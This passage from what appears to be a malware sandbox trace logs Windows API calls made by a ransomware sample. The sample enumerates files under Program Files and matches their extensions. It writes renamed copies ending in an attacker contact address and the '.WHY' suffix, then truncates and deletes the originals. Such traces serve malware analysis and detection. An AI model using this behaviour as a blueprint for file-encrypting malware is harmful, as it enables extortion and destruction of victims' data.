(lpString1=".jpg", lpString2=".GIF") returned 1 [0227.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0227.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0227.367] lstrlenW (lpString=".doc") returned 4 [0227.367] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0227.367] lstrlenW (lpString=".docx") returned 5 [0227.367] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0227.367] lstrlenW (lpString=".pdf") returned 4 [0227.367] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0227.367] lstrlenW (lpString=".xls") returned 4 [0227.367] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0227.367] lstrlenW (lpString=".xlsx") returned 5 [0227.367] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0227.367] lstrlenW (lpString=".ppt") returned 4 [0227.367] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0227.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0227.368] lstrlenW (lpString=".zip") returned 4 [0227.368] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0227.368] lstrlenW (lpString=".rar") returned 4 [0227.368] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0227.368] lstrlenW (lpString=".bz2") returned 4 [0227.368] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0227.368] lstrlenW (lpString=".7z") returned 3 [0227.368] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0227.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0227.368] lstrlenW (lpString=".dbf") returned 4 [0227.368] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0227.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0227.369] lstrlenW (lpString=".1cd") returned 4 [0227.369] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0227.369] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0227.369] lstrlenW (lpString=".jpg") returned 4 [0227.369] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0227.369] lstrcmpiW (lpString1=".PNG", lpString2=".WHY") returned -1 [0227.370] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0227.370] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0227.549] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=21745) returned 1 [0227.549] CloseHandle (hObject=0x2d0) returned 1 [0227.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 0x20 [0227.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0227.549] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0227.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0227.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0227.550] lstrlenW (lpString=".doc") returned 4 [0227.550] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0227.550] lstrlenW (lpString=".docx") returned 5 [0227.550] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0227.550] lstrlenW (lpString=".pdf") returned 4 [0227.550] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0227.550] lstrlenW (lpString=".xls") returned 4 [0227.550] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0227.550] lstrlenW (lpString=".xlsx") returned 5 [0227.550] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0227.550] lstrlenW (lpString=".ppt") returned 4 [0227.550] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0227.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0227.551] lstrlenW (lpString=".zip") returned 4 [0227.551] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0227.551] lstrlenW (lpString=".rar") returned 4 [0227.554] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0227.554] lstrlenW (lpString=".bz2") returned 4 [0227.554] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0227.554] lstrlenW (lpString=".7z") returned 3 [0227.554] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0227.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0227.554] lstrlenW (lpString=".dbf") returned 4 [0227.554] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0227.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0227.555] lstrlenW (lpString=".1cd") returned 4 [0227.555] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0227.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0227.555] lstrlenW (lpString=".jpg") returned 4 [0227.555] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0227.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0227.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0227.555] lstrlenW (lpString=".doc") returned 4 [0227.555] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0227.555] lstrlenW (lpString=".docx") returned 5 [0227.555] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0227.556] lstrlenW (lpString=".pdf") returned 4 [0227.556] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0227.556] lstrlenW (lpString=".xls") returned 4 [0227.556] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0227.556] lstrlenW (lpString=".xlsx") returned 5 [0227.556] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0227.556] lstrlenW (lpString=".ppt") returned 4 [0227.556] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0227.556] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0227.556] lstrlenW (lpString=".zip") returned 4 [0227.556] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0227.556] lstrlenW (lpString=".rar") returned 4 [0227.556] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0227.556] lstrlenW (lpString=".bz2") returned 4 [0227.557] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0227.557] lstrlenW (lpString=".7z") returned 3 [0227.557] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0227.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0227.557] lstrlenW (lpString=".dbf") returned 4 [0227.557] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0227.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0227.557] lstrlenW (lpString=".1cd") returned 4 [0227.557] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0227.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0227.557] lstrlenW (lpString=".jpg") returned 4 [0227.557] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0227.558] lstrcmpiW (lpString1=".GIF", lpString2=".WHY") returned -1 [0227.558] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0227.558] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0227.973] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=1423) returned 1 [0227.974] CloseHandle (hObject=0x2d0) returned 1 [0227.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif")) returned 0x20 [0227.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0227.974] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0227.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0227.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0227.975] lstrlenW (lpString=".doc") returned 4 [0227.975] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0227.975] lstrlenW (lpString=".docx") returned 5 [0227.975] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0227.975] lstrlenW (lpString=".pdf") returned 4 [0227.975] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0227.975] lstrlenW (lpString=".xls") returned 4 [0227.975] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0227.975] lstrlenW (lpString=".xlsx") returned 5 [0227.975] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0227.975] lstrlenW (lpString=".ppt") returned 4 [0227.976] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0227.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0227.976] lstrlenW (lpString=".zip") returned 4 [0227.976] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0227.976] lstrlenW (lpString=".rar") returned 4 [0227.976] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0227.976] lstrlenW (lpString=".bz2") returned 4 [0227.976] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0227.976] lstrlenW (lpString=".7z") returned 3 [0227.976] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0227.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0227.976] lstrlenW (lpString=".dbf") returned 4 [0227.976] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0227.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0227.976] lstrlenW (lpString=".1cd") returned 4 [0227.977] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0227.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0227.977] lstrlenW (lpString=".jpg") returned 4 [0227.977] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0227.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0227.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0227.977] lstrlenW (lpString=".doc") returned 4 [0227.977] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0227.977] lstrlenW (lpString=".docx") returned 5 [0227.977] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0227.978] lstrlenW (lpString=".pdf") returned 4 [0227.978] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0227.978] lstrlenW (lpString=".xls") returned 4 [0227.978] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0227.978] lstrlenW (lpString=".xlsx") returned 5 [0227.978] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0227.978] lstrlenW (lpString=".ppt") returned 4 [0227.978] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0227.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0227.978] lstrlenW (lpString=".zip") returned 4 [0227.978] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0227.978] lstrlenW (lpString=".rar") returned 4 [0227.979] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0227.979] lstrlenW (lpString=".bz2") returned 4 [0227.979] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0227.979] lstrlenW (lpString=".7z") returned 3 [0227.979] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0227.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0227.979] lstrlenW (lpString=".dbf") returned 4 [0227.979] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0227.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0227.979] lstrlenW (lpString=".1cd") returned 4 [0227.979] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0227.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0227.979] lstrlenW (lpString=".jpg") returned 4 [0227.979] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0227.980] lstrcmpiW (lpString1=".ini", lpString2=".WHY") returned -1 [0227.980] lstrlenW (lpString="desktop.ini") returned 11 [0227.980] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0227.981] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=174) returned 1 [0227.981] CloseHandle (hObject=0x2d0) returned 1 [0227.981] GetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 0x26 [0227.981] GetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\desktop.ini.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0227.981] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0227.982] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0227.982] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0227.982] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\desktop.ini.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0228.665] GetLastError () returned 0x0 [0228.665] ReadFile (in: hFile=0x2d0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0xae, lpOverlapped=0x0) returned 1 [0228.871] WriteFile (in: hFile=0x38c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0xb0, lpOverlapped=0x0) returned 1 [0228.874] ReadFile (in: hFile=0x2d0, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2e2fed4*=0x0, lpOverlapped=0x0) returned 1 [0228.874] WriteFile (in: hFile=0x38c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2e2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2e2fc9c*=0xea, lpOverlapped=0x0) returned 1 [0228.874] SetEndOfFile (hFile=0x38c) returned 1 [0228.875] CloseHandle (hObject=0x38c) returned 1 [0229.149] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec8 | out: lpNewFilePointer=0x0) returned 1 [0229.149] SetEndOfFile (hFile=0x2d0) returned 1 [0229.437] CloseHandle (hObject=0x2d0) returned 1 [0229.438] SetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x26) returned 1 [0229.666] DeleteFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 1 [0229.668] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0229.668] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0229.668] lstrlenW (lpString=".doc") returned 4 [0229.668] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0229.668] lstrlenW (lpString=".docx") returned 5 [0229.668] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0229.668] lstrlenW (lpString=".pdf") returned 4 [0229.668] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0229.668] lstrlenW (lpString=".xls") returned 4 [0229.668] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0229.668] lstrlenW (lpString=".xlsx") returned 5 [0229.668] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0229.668] lstrlenW (lpString=".ppt") returned 4 [0229.668] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0229.669] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0229.669] lstrlenW (lpString=".zip") returned 4 [0229.669] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0229.669] lstrlenW (lpString=".rar") returned 4 [0229.669] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0229.669] lstrlenW (lpString=".bz2") returned 4 [0229.669] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0229.669] lstrlenW (lpString=".7z") returned 3 [0229.669] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0229.669] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0229.669] lstrlenW (lpString=".dbf") returned 4 [0229.669] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0229.669] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0229.670] lstrlenW (lpString=".1cd") returned 4 [0229.670] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0229.670] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0229.670] lstrlenW (lpString=".jpg") returned 4 [0229.670] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0229.670] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0229.670] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0229.670] lstrlenW (lpString=".doc") returned 4 [0229.670] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0229.670] lstrlenW (lpString=".docx") returned 5 [0229.670] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0229.670] lstrlenW (lpString=".pdf") returned 4 [0229.671] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0229.671] lstrlenW (lpString=".xls") returned 4 [0229.671] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0229.671] lstrlenW (lpString=".xlsx") returned 5 [0229.671] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0229.671] lstrlenW (lpString=".ppt") returned 4 [0229.671] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0229.671] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0229.671] lstrlenW (lpString=".zip") returned 4 [0229.671] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0229.671] lstrlenW (lpString=".rar") returned 4 [0229.671] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0229.671] lstrlenW (lpString=".bz2") returned 4 [0229.671] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0229.671] lstrlenW (lpString=".7z") returned 3 [0229.672] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0229.672] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0229.672] lstrlenW (lpString=".dbf") returned 4 [0229.672] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0229.672] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0229.672] lstrlenW (lpString=".1cd") returned 4 [0229.672] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0229.672] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28 [0229.672] lstrlenW (lpString=".jpg") returned 4 [0229.672] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0229.673] lstrcmpiW (lpString1=".png", lpString2=".WHY") returned -1 [0229.673] lstrlenW (lpString="scrapbook.png") returned 13 [0229.674] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0229.716] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=20346) returned 1 [0229.717] CloseHandle (hObject=0x380) returned 1 [0229.717] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png")) returned 0x20 [0229.717] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0229.717] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\scrapbook.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0229.718] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png") returned 66 [0229.718] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png") returned 66 [0229.718] lstrlenW (lpString=".doc") returned 4 [0229.718] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0229.718] lstrlenW (lpString=".docx") returned 5 [0229.718] lstrcmpiW (lpString1=".docx", lpString2="k.png") returned -1 [0229.718] lstrlenW (lpString=".pdf") returned 4 [0229.718] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0229.718] lstrlenW (lpString=".xls") returned 4 [0229.718] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0229.718] lstrlenW (lpString=".xlsx") returned 5 [0229.718] lstrcmpiW (lpString1=".xlsx", lpString2="k.png") returned -1 [0229.718] lstrlenW (lpString=".ppt") returned 4 [0229.719] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0229.719] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png") returned 66 [0229.719] lstrlenW (lpString=".zip") returned 4 [0229.719] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0229.719] lstrlenW (lpString=".rar") returned 4 [0229.719] lstrcmpiW (lpString1=".rar", lpString2=".png") returned 1 [0229.719] lstrlenW (lpString=".bz2") returned 4 [0229.719] lstrcmpiW (lpString1=".bz2", lpString2=".png") returned -1 [0229.719] lstrlenW (lpString=".7z") returned 3 [0229.719] lstrcmpiW (lpString1=".7z", lpString2="png") returned -1 [0229.720] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png") returned 66 [0229.720] lstrlenW (lpString=".dbf") returned 4 [0229.720] lstrcmpiW (lpString1=".dbf", lpString2=".png") returned -1 [0229.720] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png") returned 66 [0229.720] lstrlenW (lpString=".1cd") returned 4 [0229.720] lstrcmpiW (lpString1=".1cd", lpString2=".png") returned -1 [0229.720] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png") returned 66 [0229.721] lstrlenW (lpString=".jpg") returned 4 [0229.721] lstrcmpiW (lpString1=".jpg", lpString2=".png") returned -1 [0229.721] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png") returned 66 [0229.721] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\scrapbook.png") returned 66 [0229.721] lstrlenW (lpString=".doc") returned 4 [0229.721] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0229.721] lstrlenW (lpString=".docx") returned 5 [0229.721] lstrcmpiW (lpString1=".docx", lpString2="k.png") returned -1 [0229.721] lstrlenW (lpString=".pdf") returned 4 [0229.721] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0229.721] lstrlenW (lpString=".xls") returned 4 [0229.722] lstrcmpiW 